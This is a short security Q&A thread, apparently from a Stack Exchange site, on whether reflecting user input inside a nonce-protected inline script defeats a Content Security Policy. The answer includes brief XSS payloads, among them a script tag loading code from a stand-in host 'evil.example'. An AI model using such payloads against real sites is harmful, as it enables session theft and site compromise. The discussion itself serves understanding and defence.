1

I stumbled upon a web app which is accepting user input and putting it into a variable within script tag.

The script tag does have a nonce attribute.

enter image description here

As am working on bypassing the XSS filter, I had this thought that this practice of reflecting user input within an inline script with nonce attribute beats the purpose of using it.

Is my understand correct or am I missing something here ?

2

reflecting user input within an inline script with nonce attribute beats the purpose of using it.

That depends on the type of injection you achieve.

If you manage to construct an XSS vector that stays within the nonce'd script tag, you're right, it's useless. You can just inject additional script code via e.g. "; alert(); //.

But if you're forced to close the script tag (say, because <, > are allowed but " is not) via e.g. </script><script src=evil.example>..., then the CSP works out, because you can't successfully inject new scripts without knowing the correct nonce.

Note that in the past, nonce exfiltration techniques and other nonce-related browser bugs have come up that may have rendered the second case exploitable, too. Have a look at this talk by Spagnuolo/Weichselbaum.

1
  • Thank you for the answer and bringing inserting script tag to my notice. I will keep this question open for more answers. – Rahul Aug 24 '20 at 8:11

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.